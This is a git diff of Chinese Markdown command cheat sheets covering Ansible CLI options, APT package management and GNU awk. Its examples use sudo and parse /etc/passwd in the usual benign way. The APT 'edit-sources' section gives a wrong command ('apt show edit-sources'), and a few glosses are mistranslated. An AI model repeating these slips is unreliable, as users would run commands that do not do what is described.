`-s`, `--sudo` | 使用 sudo (nopasswd) 运行操作(已弃用,使用 become)
|
||||
`-U SUDO_USER`, `--sudo-user=SUDO_USER` | 所需的 sudo 用户(默认=root)(已弃用,使用 become)
|
||||
`-S`, `--su` | 使用 su 运行操作(已弃用,使用 become)
|
||||
`-R SU_USER`, `--su-user=SU_USER` | 以该用户身份使用 su 运行操作(默认 = root)(已弃用,使用 become)
|
||||
`-b`, `--become` | 使用 become 运行操作(不暗示密码提示)
|
||||
`--become-method=BECOME_METHOD` | 要使用的权限提升方法(默认=sudo),有效选择:[ sudo | su | pbrun | pfexec | runas | doas | dzdo ]
|
||||
`--become-user=BECOME_USER` | 以该用户身份运行操作(默认=root)
|
||||
`--ask-sudo-pass` | 询问 sudo 密码(已弃用,使用 become)
|
||||
`--ask-su-pass` | 询问 su 密码(已弃用,使用 become)
|
||||
`-K`, `--ask-become-pass` | 要求提权密码
|
||||
|
||||
### Ansible Galaxy 工具
|
||||
|
||||
```bash
|
||||
$ ansible-galaxy [delete|import|info|init|install|list|login|remove|search|setup] [--help] [options] ...
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
---
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`-h`, `--help` | 显示此帮助信息并退出
|
||||
`-v`, `--verbose` | 详细模式(-vvv 更多,-vvvv 启用连接调试)
|
||||
`--version` | 显示程序的版本号并退出
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
---
|
||||
|
||||
```bash
|
||||
$ ansible-galaxy search --author <AUTHOR>
|
||||
$ ansible-galaxy search --platforms <PLATFORM>
|
||||
$ ansible-galaxy search --galaxy-tags <TAG>
|
||||
$ ansible-galaxy info <ROLE>
|
||||
$ ansible-galaxy install <ROLE> -p <ROLE_DIRECTORY>
|
||||
$ ansible-galaxy install -r <ROLE1> <ROLE2> <ROLE3> ...
|
||||
$ ansible-galaxy list
|
||||
$ ansible-galaxy remove <ROLE>
|
||||
$ ansible-galaxy init <ROLE>
|
||||
$ ansible-galaxy init --offline <ROLE>
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### ansible-doc
|
||||
|
||||
在本地访问文档
|
||||
|
||||
```bash
|
||||
$ ansible-doc
|
||||
$ ansible-doc [options] [module...]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`-h`, `--help` | 显示此帮助信息并退出
|
||||
`-l`, `--list` | 列出可用模块
|
||||
`-M MODULE_PATH`, `--module-path=MODULE_PATH` | 指定模块库的路径 (default=None)
|
||||
`-s`, `--snippet` | 显示指定模块的剧本片段
|
||||
`-v`, `--verbose` | 详细模式(-vvv 更多,-vvvv 启用连接调试)
|
||||
`--version` | 显示程序的版本号并退出
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
### ansible-vault
|
||||
|
||||
```bash
|
||||
$ ansible-vault
|
||||
$ ansible-vault [create|decrypt|edit|encrypt|rekey|view] [--help] [options] vaultfile.yml
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`--ask-vault-pass` | 询问保险库密码
|
||||
`-h`, `--help` | 显示此帮助信息并退出
|
||||
`--new-vault-password-file=NEW_VAULT_PASSWORD_FILE` | 用于重新生成密钥的新保管库密码文件
|
||||
`--output=OUTPUT_FILE` | 用于加密或解密的输出文件名; 使用 - 用于标准输出
|
||||
`--vault-password-file=VAULT_PASSWORD_FILE` | 保险库密码文件
|
||||
`-v`, `--verbose` | 详细模式(-vvv 更多,-vvvv 启用连接调试)
|
||||
`--version` | 显示程序的版本号并退出
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
### ansible-playbook
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```bash
|
||||
$ ansible-playbook
|
||||
$ ansible-playbook playbook.yml
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`--ask-vault-pass` | 询问保险库密码
|
||||
`-C`, `--check` | 不要做任何改变;相反,尝试预测可能发生的一些变化
|
||||
`-D`, `--diff` | 更改(小)文件和模板时,显示这些文件中的差异;与 `--check` 配合使用效果很好
|
||||
`-e EXTRA_VARS`, `--extra-vars=EXTRA_VARS` | 将附加变量设置为 key=value 或 YAML/JSON
|
||||
`--flush-cache` | 清除事实缓存
|
||||
`--force-handlers` | 即使任务失败也运行处理程序
|
||||
`-f FORKS`, `--forks=FORKS` | 指定要使用的并行进程数(默认值=5)
|
||||
`-h`, `--help` | 显示此帮助信息并退出
|
||||
`-i INVENTORY`, `--inventory-file=INVENTORY` | 指定清单主机路径(默认=/etc/ansible/hosts)或逗号分隔的主机列表
|
||||
`-l SUBSET`, `--limit=SUBSET` | 进一步将选定主机限制为其他模式
|
||||
`--list-hosts` | 输出匹配主机列表;不执行任何其他操作
|
||||
`--list-tags` | 列出所有可用的标签
|
||||
`--list-tasks` | 列出所有将要执行的任务
|
||||
`-M MODULE_PATH`, `--module-path=MODULE_PATH` | 指定模块库的路径(默认=无)
|
||||
`--new-vault-password-file=NEW_VAULT_PASSWORD_FILE` | 用于重新生成密钥的新保管库密码文件
|
||||
`--output=OUTPUT_FILE` | 用于加密或解密的输出文件名;使用 - 用于标准输出
|
||||
`--skip-tags=SKIP_TAGS` | 只运行标签与这些值不匹配的播放和任务
|
||||
`--start-at-task=START_AT_TASK` | 在匹配此名称的任务处启动剧本
|
||||
`--step` | 一步一步:在运行前确认每个任务
|
||||
`--syntax-check` | 对 playbook 执行语法检查,但不要执行它
|
||||
`-t TAGS`, `--tags=TAGS` | 只运行带有这些值标记的播放和任务
|
||||
`--vault-password-file=VAULT_PASSWORD_FILE` | 保险库密码文件
|
||||
`-v`, `--verbose` | 详细模式(-vvv 更多,-vvvv 启用连接调试)
|
||||
`--version` | 显示程序的版本号并退出
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
连接选项:
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`-k`, `--ask-pass` | 询问连接密码
|
||||
`--private-key=PRIVATE_KEY_FILE`, `--key-file=PRIVATE_KEY_FILE` | 使用此文件来验证连接
|
||||
`-u REMOTE_USER`, `--user=REMOTE_USER` | 以此用户身份连接(默认=None)
|
||||
`-c CONNECTION`, `--connection=CONNECTION` | 要使用的连接类型(默认=smart)
|
||||
`-T TIMEOUT`, `--timeout=TIMEOUT` | 以秒为单位覆盖连接超时(默认值 = 10)
|
||||
`--ssh-common-args=SSH_COMMON_ARGS` | 指定要传递给 sftp/scp/ssh 的常用参数(例如 ProxyCommand)
|
||||
`--sftp-extra-args=SFTP_EXTRA_ARGS` | 指定仅传递给 sftp 的额外参数(例如 -f、-l)
|
||||
`--scp-extra-args=SCP_EXTRA_ARGS` | 指定仅传递给 scp 的额外参数(例如 -l)
|
||||
`--ssh-extra-args=SSH_EXTRA_ARGS` | 指定仅传递给 ssh 的额外参数(例如 -R)
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
特权升级选项:
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`-s`, `--sudo` | 使用 sudo (nopasswd) 运行操作(已弃用,使用 become)
|
||||
`-U SUDO_USER`, `--sudo-user=SUDO_USER` | 所需的 sudo 用户(默认=root)(已弃用,使用become)
|
||||
`-S`, `--su` | 使用 su 运行操作(已弃用,使用 become)
|
||||
`-R SU_USER`, `--su-user=SU_USER` | 以该用户身份使用 su 运行操作(默认 = root)(已弃用,使用become)
|
||||
`-b`, `--become` | 使用 become 运行操作(不暗示密码提示)
|
||||
`--become-method=BECOME_METHOD` | 要使用的权限提升方法(默认=sudo),有效选择:[ sudo \| su \| pbrun \| pfexec \| runas \| doas \| dzdo ]
|
||||
`--become-user=BECOME_USER` | 以该用户身份运行操作(默认=root)
|
||||
`--ask-sudo-pass` | 询问 sudo 密码(已弃用,使用 become)
|
||||
`--ask-su-pass` | 询问 su 密码(已弃用,使用 become)
|
||||
`-K`, `--ask-become-pass` | 要求提权密码
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
### ansible-pull
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```bash
|
||||
$ ansible-pull
|
||||
$ ansible-pull -U <repository> [options]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`--accept-host-key` | 如果尚未添加,则添加 repo url 的主机密钥
|
||||
`--ask-vault-pass` | 询问保险库密码
|
||||
`-C CHECKOUT`, `--checkout=CHECKOUT` | 分支/标签/提交结帐。默认为存储库模块的行为。
|
||||
`-d DEST`, `--directory=DEST` | 签出存储库的目录
|
||||
`-e EXTRA_VARS`, `--extra-vars=EXTRA_VARS` | 将附加变量设置为 key=value 或 YAML/JSON
|
||||
`-f`, `--force` | 即使无法更新存储库也运行 playbook
|
||||
`--full` | 做一个完整的克隆,而不是一个浅的
|
||||
`-h`, `--help` | 显示此帮助信息并退出
|
||||
`-i INVENTORY`, `--inventory-file=INVENTORY` | 指定清单主机路径(默认=/etc/ansible/hosts)或逗号分隔的主机列表
|
||||
`-l SUBSET`, `--limit=SUBSET` | 进一步将选定主机限制为其他模式
|
||||
`--list-hosts` | 输出匹配主机列表;不执行任何其他操作
|
||||
`-m MODULE_NAME`, `--module-name=MODULE_NAME` | 存储库模块名称,ansible 将使用它来签出 repo。默认是 git
|
||||
`-M MODULE_PATH`, `--module-path=MODULE_PATH` | 指定模块库的路径(默认=无)
|
||||
`--new-vault-password-file=NEW_VAULT_PASSWORD_FILE` | 用于重新生成密钥的新保管库密码文件
|
||||
`-o`, `--only-if-changed` | 仅在存储库已更新时才运行 playbook
|
||||
`--output=OUTPUT_FILE` | 用于加密或解密的输出文件名;使用 - 用于标准输出
|
||||
`--purge` | 剧本运行后清除结帐
|
||||
`--skip-tags=SKIP_TAGS` | 只运行标签与这些值不匹配的播放和任务
|
||||
`-s SLEEP`, `--sleep=SLEEP` | 在开始之前休眠随机间隔(在 0 到 n 秒之间)。这是分散 git 请求的有用方法
|
||||
`-t TAGS`, `--tags=TAGS` | 只运行带有这些值标记的播放和任务
|
||||
`-U URL`, `--url=URL` | 剧本存储库的 URL
|
||||
`--vault-password-file=VAULT_PASSWORD_FILE` | 保险库密码文件
|
||||
`-v`, `--verbose` | 详细模式(-vvv 更多,-vvvv 启用连接调试)
|
||||
`--verify-commit` | 验证签出提交的 GPG 签名,如果失败则中止运行 playbook。这就需要对应的VCS模块来支持这样的操作
|
||||
`--version` | 显示程序的版本号并退出
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
连接选项:
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`-k`, `--ask-pass` | 询问连接密码
|
||||
`--private-key=PRIVATE_KEY_FILE`, `--key-file=PRIVATE_KEY_FILE` | 使用此文件来验证连接
|
||||
`-u REMOTE_USER`, `--user=REMOTE_USER` | 以此用户身份连接(默认=无)
|
||||
`-c CONNECTION`, `--connection=CONNECTION` | 要使用的连接类型(默认=智能)
|
||||
`-T TIMEOUT`, `--timeout=TIMEOUT` | 以秒为单位覆盖连接超时(默认值 = 10)
|
||||
`--ssh-common-args=SSH_COMMON_ARGS` | 指定要传递给 sftp/scp/ssh 的常用参数(例如 ProxyCommand)
|
||||
`--sftp-extra-args=SFTP_EXTRA_ARGS` | 指定仅传递给 sftp 的额外参数(例如 -f、-l)
|
||||
`--scp-extra-args=SCP_EXTRA_ARGS` | 指定仅传递给 scp 的额外参数(例如 -l)
|
||||
`--ssh-extra-args=SSH_EXTRA_ARGS` | 指定仅传递给 ssh 的额外参数(例如 -R)
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
特权升级选项:
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`--ask-sudo-pass` | 询问 sudo 密码(已弃用,使用become)
|
||||
`--ask-su-pass` | 询问 su 密码(已弃用,使用become)
|
||||
`-K`, `--ask-become-pass` | 要求提权密码
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
<!-- ### ansible-playbook -->
|
||||
<!-- todo -->
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [Getting started with Ansible](https://docs.ansible.com/ansible/latest/getting_started/index.html)
|
||||
- [Introduction to ad hoc commands](https://docs.ansible.com/ansible/latest/user_guide/intro_adhoc.html)
|
||||
- [Ansible cheatsheet](https://github.com/luckylittle/ansible-cheatsheet/blob/master/ansible-cheatsheet.txt)
|
||||
- [Ansible Tutorial for Beginners: Ultimate Playbook & Examples](https://spacelift.io/blog/ansible-tutorial)
|
206
docs/apt.md
Normal file
206
docs/apt.md
Normal file
@ -0,0 +1,206 @@
|
||||
APT 备忘清单
|
||||
===
|
||||
|
||||
这个 APT 快速参考备忘单显示了它的常用命令使用清单。
|
||||
|
||||
APT 清单查询
|
||||
---
|
||||
|
||||
### 介绍
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
APT(`A`dvanced `P`ackaging `T`ools)是`Debian`及其派生的`Linux`软件包管理器。APT可以自动下载,配置,安装二进制或者源代码格式的软件包,因此简化了Unix系统上管理软件的过程。APT最早被设计成`dpkg的前端`,用来处理deb格式的软件包。现在经过`APT-RPM`组织修改,APT已经可以安装在支持RPM的系统管理RPM包。
|
||||
|
||||
它结合了apt-get和apt-cache工具中最常用的命令以及选项与默认值。`apt`命令必须以具有`sudo`权限的用户运行。
|
||||
|
||||
命令语法格式
|
||||
|
||||
```bash
|
||||
$ apt [ OPTIONS ] COMMAND
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
相关参考文献
|
||||
|
||||
- [APT(8) 官方网站](https://manpages.debian.org/unstable/apt/apt.8.en.html)
|
||||
- [apt.conf(5) 官方文档](https://manpages.debian.org/unstable/apt/apt.conf.5.en.html)
|
||||
- [sources.list(5) 官方文档](https://manpages.debian.org/unstable/apt/sources.list.5.en.html)
|
||||
|
||||
### 命令查询
|
||||
|
||||
子命令描述和任务,显示 apt 命令和选项。
|
||||
|
||||
```bash
|
||||
$ apt -h or --help
|
||||
# 或
|
||||
$ apt
|
||||
```
|
||||
|
||||
查看指令用法
|
||||
|
||||
```bash
|
||||
$ man apt
|
||||
```
|
||||
|
||||
### update
|
||||
|
||||
从APT存储库中获取最新索引数据。
|
||||
|
||||
```bash
|
||||
$ sudo apt update
|
||||
```
|
||||
|
||||
在升级或安装新软件包之前,建议始终先运行一次更新软件包索引。
|
||||
|
||||
### upgrade
|
||||
|
||||
将安装的软件包升级到最新版本,该命令不会升级那些已删除软件包的依赖。
|
||||
|
||||
```bash
|
||||
$ sudo apt upgrade
|
||||
```
|
||||
|
||||
升级单个软件包。
|
||||
|
||||
```bash
|
||||
$ sudo apt upgrade package_name
|
||||
```
|
||||
|
||||
升级整个系统,则会删除当前安装的软件包。
|
||||
|
||||
```bash
|
||||
$ sudo apt full-upgrade
|
||||
```
|
||||
|
||||
### install
|
||||
|
||||
安装软件包。
|
||||
|
||||
```bash
|
||||
$ sudo apt install package_name
|
||||
```
|
||||
|
||||
如果只想升级,不要安装
|
||||
|
||||
```bash
|
||||
$ sudo apt install <package_name> --only-upgrade
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
安装多个软件包,包名用空格分隔。
|
||||
|
||||
```bash
|
||||
$ sudo apt install package1 package2
|
||||
```
|
||||
|
||||
安装本地deb文件,提供文件的完整路径。否则,apt命令将尝试从APT存储库中检索并安装软件包。
|
||||
`Deb是所有基于Debian的发行版使用的安装软件包格式`。
|
||||
|
||||
```bash
|
||||
$ sudo apt install /full/path/file.deb
|
||||
```
|
||||
|
||||
### remove和purge
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
要删除已安装的程序包,你可以使用apt子命令`remove`和`purge`。
|
||||
|
||||
#### remove
|
||||
|
||||
remove子命令将卸载指定的软件包,`但可能会留下一些配置文件`。
|
||||
通过remove方式卸载的软件包可以通过重新安装软件包来恢复,因为个人配置文件还在本地。
|
||||
|
||||
卸载指定的软件包
|
||||
|
||||
```bash
|
||||
$ sudo apt remove package_name
|
||||
```
|
||||
|
||||
指定多个软件包,以空格分隔
|
||||
|
||||
```bash
|
||||
$ sudo apt remove package1 package2
|
||||
```
|
||||
|
||||
#### purge
|
||||
|
||||
purge子命令将卸载指定的软件包和配置文件。
|
||||
|
||||
```bash
|
||||
$ sudo apt purge package_name
|
||||
```
|
||||
|
||||
### autoremove自动删除依赖
|
||||
|
||||
用于删除自动安装的包,这些包都是为了满足其他包的依赖关系,现在不再需要这些包,因为依赖关系已更改或者同时删除了需要它们的包。
|
||||
|
||||
```bash
|
||||
$ sudo apt autoremove
|
||||
```
|
||||
|
||||
### list
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
打印所有软件包的列表,包括软件包的版本和结构的信息。
|
||||
|
||||
```bash
|
||||
$ sudo apt list
|
||||
```
|
||||
|
||||
要确定是否安装了指定的软件包,可以使用grep命令过滤输出。
|
||||
|
||||
```bash
|
||||
$ sudo apt list | grep package_name
|
||||
```
|
||||
|
||||
仅列出已安装的软件包。
|
||||
|
||||
```bash
|
||||
$ sudo apt list --installed
|
||||
```
|
||||
|
||||
获取可升级软件包的列表。
|
||||
|
||||
```bash
|
||||
$ sudo apt list --upgradeable
|
||||
```
|
||||
|
||||
### 搜索查找软件包详细信息
|
||||
|
||||
#### search
|
||||
|
||||
在可用软件源列表中搜索指定的软件包。如果找到该软件包,则将返回名称与搜索词匹配的软件包。
|
||||
|
||||
```bash
|
||||
$ sudo apt search package_name
|
||||
```
|
||||
|
||||
#### show
|
||||
|
||||
显示有关给定软件包的信息,包括其依赖项、安装、下载大小、软件包可用的来源、软件包内容的描述等。
|
||||
|
||||
```bash
|
||||
$ sudo apt show package_name
|
||||
```
|
||||
|
||||
### edit-sources 快速换源
|
||||
|
||||
允许您在首选的文本编辑器中编辑`sources.list(5)` 文件,同时还提供基本的健全性检查。
|
||||
|
||||
首次换源可以使用`edit-sources`
|
||||
|
||||
```bash
|
||||
$ sudo apt show edit-sources
|
||||
```
|
||||
|
||||
换源后更新一下软件包索引。
|
||||
|
||||
```bash
|
||||
$ sudo apt update
|
||||
```
|
||||
|
||||
之后可以使用`select-editor`更换默认编辑器
|
||||
|
||||
```bash
|
||||
$ sudo select-editor
|
||||
```
|
786
docs/awk.md
Normal file
786
docs/awk.md
Normal file
@ -0,0 +1,786 @@
|
||||
Awk 备忘清单
|
||||
===
|
||||
|
||||
这是 [GNU awk](https://www.gnu.org/software/gawk/manual/gawk.html) 的单页快速参考备忘单,其中涵盖了常用的 `awk` 表达式和命令。
|
||||
|
||||
入门
|
||||
------
|
||||
|
||||
### 试试
|
||||
|
||||
该程序可用于选择文件中的特定记录并对其执行操作
|
||||
|
||||
```shell
|
||||
$ awk -F: '{print $1, $NF}' /etc/passwd
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
| - | - | - |
|
||||
|---|---------------|---------------------------|
|
||||
| | `-F:` | 冒号作为分隔符 |
|
||||
| | `{...}` | awk 程序 |
|
||||
| | `print` | 打印当前记录 |
|
||||
| | `$1` | 第一个字段 |
|
||||
| | `$NF` | 最后一个字段 |
|
||||
| | `/etc/passwd` | 输入数据文件 |
|
||||
|
||||
### Awk 程序
|
||||
|
||||
```bash
|
||||
BEGIN {<初始化>}
|
||||
<pattern 1> {<计划动作>}
|
||||
<pattern 2> {<计划动作>}
|
||||
...
|
||||
END {< 最后的动作 >}
|
||||
```
|
||||
|
||||
#### 示例
|
||||
|
||||
```bash
|
||||
awk '
|
||||
BEGIN { print "\n>>>Start" }
|
||||
!/(login|shutdown)/ { print NR, $0 }
|
||||
END { print "<<<END\n" }
|
||||
' /etc/passwd
|
||||
```
|
||||
|
||||
### 变量
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```bash
|
||||
$1 $2/$(NF-1) $3/$NF
|
||||
▼ ▼ ▼
|
||||
┌──────┬──────────────┬───────┐
|
||||
$0/NR ▶ │ ID │ WEBSITE │ URI │
|
||||
├──────┼──────────────┼───────┤
|
||||
$0/NR ▶ │ 1 │ baidu.com │ awk │
|
||||
├──────┼──────────────┼───────┤
|
||||
$0/NR ▶ │ 2 │ google.com │ 25 │
|
||||
└──────┴──────────────┴───────┘
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```shell
|
||||
# 第一个和最后一个字段
|
||||
awk -F: '{print $1,$NF}' /etc/passwd
|
||||
# 带行号
|
||||
awk -F: '{print NR, $0}' /etc/passwd
|
||||
# 倒数第二个字段
|
||||
awk -F: '{print $(NF-1)}' /etc/passwd
|
||||
# 自定义字符串
|
||||
awk -F: '{print $1 "=" $6}' /etc/passwd
|
||||
```
|
||||
|
||||
查看: [Awk 变量](#awk-变量)
|
||||
|
||||
### Awk 程序示例
|
||||
<!--rehype:wrap-class=row-span-2 col-span-2-->
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {print "hello world"}' # 打印 "hello world"
|
||||
awk -F: '{print $1}' /etc/passwd # -F: 指定字段分隔符
|
||||
# /pattern/ 仅对匹配的模式执行操作
|
||||
awk -F: '/root/ {print $1}' /etc/passwd
|
||||
# BEGIN 块在开始时执行一次
|
||||
awk -F: 'BEGIN { print "uid"} { print $1 }' /etc/passwd
|
||||
# END 块在最后执行一次
|
||||
awk -F: '{print $1} END { print "-done-"}' /etc/passwd
|
||||
```
|
||||
|
||||
### 条件
|
||||
|
||||
```bash
|
||||
awk -F: '$3>30 {print $1}' /etc/passwd
|
||||
```
|
||||
|
||||
查看: [Conditions 条件](#awk-条件)
|
||||
|
||||
### 生成 1000 个空格
|
||||
|
||||
```shell
|
||||
awk 'BEGIN{
|
||||
while (a++ < 1000)
|
||||
s=s " ";
|
||||
print s
|
||||
}'
|
||||
```
|
||||
|
||||
查看: [Loops](#awk-循环)
|
||||
|
||||
### 数组 Arrays
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {
|
||||
fruits["mango"] = "yellow";
|
||||
fruits["orange"] = "orange"
|
||||
for(fruit in fruits) {
|
||||
print fruit " 的颜色是 " fruits[fruit]
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
查看: [Awk 数组](#awk-数组)
|
||||
|
||||
### 函数 Functions
|
||||
|
||||
```shell
|
||||
# => 5
|
||||
awk 'BEGIN{print length("hello")}'
|
||||
# => HELLO
|
||||
awk 'BEGIN{print toupper("hello")}'
|
||||
# => hel
|
||||
awk 'BEGIN{print substr("hello", 1, 3)}'
|
||||
```
|
||||
|
||||
查看: [Functions](#awk-函数)
|
||||
|
||||
Awk 变量
|
||||
---------
|
||||
|
||||
### 内置变量
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`$0` | 全线
|
||||
`$1, $2...$NF` | 第一个,第二个……最后一个字段
|
||||
`NR` | 记录总数(`N`umber of `R`ecords)
|
||||
`NF` | N个字段(`N`number of `F`ields)
|
||||
`OFS` | `O`utput `F`ield `S`eparator<br> 输出字段分隔符 _(default " ")_
|
||||
`FS` | input `F`ield `S`eparator <br> 输入字段分隔符 _(default " ")_
|
||||
`ORS` | `O`utput `R`ecord `S`eparator <br> 输出记录分隔符 _(default "\n")_
|
||||
`RS` | input `R`ecord `S`eparator <br> 输入记录分隔符 _(default "\n")_
|
||||
`FILENAME` | 文件名
|
||||
|
||||
### 表达式
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`$1 == "root"` | 第一个字段等于根
|
||||
`{print $(NF-1)}` | 倒数第二个字段
|
||||
`NR!=1{print $0}` | 从第 2 条记录开始
|
||||
`NR > 3` | 从第 4 条记录开始
|
||||
`NR == 1` | 第一次记录
|
||||
`END{print NR}` | 总记录
|
||||
`BEGIN{print OFMT}` | 输出格式
|
||||
`{print NR, $0}` | 行号
|
||||
`{print NR " " $0}` | 行号(选项卡)
|
||||
`{$1 = NR; print}` | 用行号替换第一个字段
|
||||
`$NF > 4` | 最后一个字段 > 4
|
||||
`NR % 2 == 0` | 甚至记录
|
||||
`NR==10, NR==20` | 记录 10 到 20
|
||||
`BEGIN{print ARGC}` | 总 `arguments`
|
||||
`ORS=NR%5?",":"\n"` | 连接记录
|
||||
|
||||
### 示例
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
打印总和和平均值
|
||||
|
||||
```shell
|
||||
awk -F: '{sum += $3}
|
||||
END { print sum, sum/NR }
|
||||
' /etc/passwd
|
||||
```
|
||||
|
||||
打印参数
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {
|
||||
for (i = 1; i < ARGC; i++)
|
||||
print ARGV[i] }' a b c
|
||||
```
|
||||
|
||||
输出字段分隔符为逗号
|
||||
|
||||
```shell
|
||||
awk 'BEGIN { FS=":";OFS=","}
|
||||
{print $1,$2,$3,$4}' /etc/passwd
|
||||
```
|
||||
|
||||
匹配位置
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {
|
||||
if (match("One Two Three", "Tw"))
|
||||
print RSTART }'
|
||||
```
|
||||
|
||||
匹配时长
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {
|
||||
if (match("One Two Three", "re"))
|
||||
print RLENGTH }'
|
||||
```
|
||||
|
||||
### 仅限 GNU awk
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`ENVIRON` | 环境变量
|
||||
`IGNORECASE` | 忽略大小写
|
||||
`CONVFMT` | 转换格式
|
||||
`ERRNO` | 系统错误
|
||||
`FIELDWIDTHS` | 固定宽度字段
|
||||
|
||||
### 环境变量
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`ARGC` | 数字或参数
|
||||
`ARGV` | 参数数组
|
||||
`FNR` | 文件记录数(`F`ile `N`umber of `R`ecords)
|
||||
`OFMT` | 数字格式 _(default "%.6g")_
|
||||
`RSTART` | 字符串中的位置
|
||||
`RLENGTH` | 比赛时长
|
||||
`SUBSEP` | 多维数组分隔符 _(default "\034")_
|
||||
`ARGIND` | 参数索引
|
||||
|
||||
### 定义变量
|
||||
|
||||
```shell
|
||||
awk -v var1="Hello" -v var2="Wold" '
|
||||
END {print var1, var2}
|
||||
' </dev/null
|
||||
```
|
||||
|
||||
#### 使用 shell 变量
|
||||
|
||||
```shell
|
||||
awk -v varName="$PWD" '
|
||||
END {print varName}' </dev/null
|
||||
```
|
||||
|
||||
Awk 运算符
|
||||
---------
|
||||
|
||||
### 运算符
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`{print $1}` | 第一个字段
|
||||
`$2 == "foo"` | 等于
|
||||
`$2 != "foo"` | 不等于
|
||||
`"foo" in array` | 在数组中
|
||||
|
||||
#### 正则表达式
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
| `/regex/` | 行匹配|
|
||||
| `!/regex/` | 行不匹配|
|
||||
| `$1 ~ /regex/` | 字段匹配|
|
||||
| `$1 !~ /regex/` | 字段不匹配|
|
||||
|
||||
#### 更多条件
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`($2 <= 4 \|\| $3 < 20)` | 或者
|
||||
`($1 == 4 && $3 < 20)` | 和
|
||||
|
||||
### 运算符
|
||||
|
||||
#### 算术运算
|
||||
|
||||
- `+`
|
||||
- `-`
|
||||
- `*`
|
||||
- `/`
|
||||
- `%`
|
||||
- `++`
|
||||
- `--`
|
||||
<!--rehype:className=cols-3 style-none-->
|
||||
|
||||
#### 速记作业
|
||||
|
||||
- `+=`
|
||||
- `-=`
|
||||
- `*=`
|
||||
- `/=`
|
||||
- `%=`
|
||||
<!--rehype:className=cols-3 style-none-->
|
||||
|
||||
#### 比较运算符
|
||||
|
||||
- `==`
|
||||
- `!=`
|
||||
- `<`
|
||||
- `>`
|
||||
- `<=`
|
||||
- `>=`
|
||||
<!--rehype:className=cols-3 style-none-->
|
||||
|
||||
### 示例
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {
|
||||
if ("foo" ~ "^fo+$")
|
||||
print "Fooey!";
|
||||
}'
|
||||
```
|
||||
|
||||
#### 不匹配
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {
|
||||
if ("boo" !~ "^fo+$")
|
||||
print "Boo!";
|
||||
}'
|
||||
```
|
||||
|
||||
#### 如果在数组中
|
||||
|
||||
```shell
|
||||
awk 'BEGIN {
|
||||
assoc["foo"] = "bar";
|
||||
assoc["bar"] = "baz";
|
||||
if ("foo" in assoc)
|
||||
print "Fooey!";
|
||||
}'
|
||||
```
|
||||
|
||||
Awk 函数
|
||||
----------
|
||||
|
||||
### 常用功能
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
函数 | 描述
|
||||
:- | :-
|
||||
`index(s,t)` | 字符串 `s` 中出现字符串 `t` 的位置,如果未找到则为 `0`
|
||||
`length(s)` | 字符串 `s` 的长度(如果没有 `arg`,则为 `$0`)
|
||||
`rand` | `0` 到 `1` 之间的随机数
|
||||
`substr(s,index,len)` | 返回从索引开始的 `s` 的 `len-char` 子字符串(从 `1` 开始计数)
|
||||
`srand` | 为 `rand` 设置种子并返回之前的种子
|
||||
`int(x)` | 将 `x` 截断为整数值
|
||||
`split(s,a,fs)` | 将字符串 `s` 拆分为数组 `a` 由 `fs` 拆分,返回 `a` 的长度
|
||||
`match(s,r)` | 字符串 `s` 中出现正则表达式 `r` 的位置,如果未找到,则为 `0`
|
||||
`sub(r,t,s)` | 将 `t` 替换为字符串 `s` 中第一次出现的正则表达式 `r`(如果未给出 `s`,则替换为 `$0`)
|
||||
`gsub(r,t,s)` | 用 `t` 替换字符串 `s` 中所有出现的正则表达式 `r`
|
||||
`system(cmd)` | 执行cmd并返回退出状态
|
||||
`tolower(s)` | 字符串 `s` 转小写
|
||||
`toupper(s)` | 字符串 `s` 转大写
|
||||
`getline` | 将 `$0` 设置为当前输入文件中的下一个输入记录
|
||||
|
||||
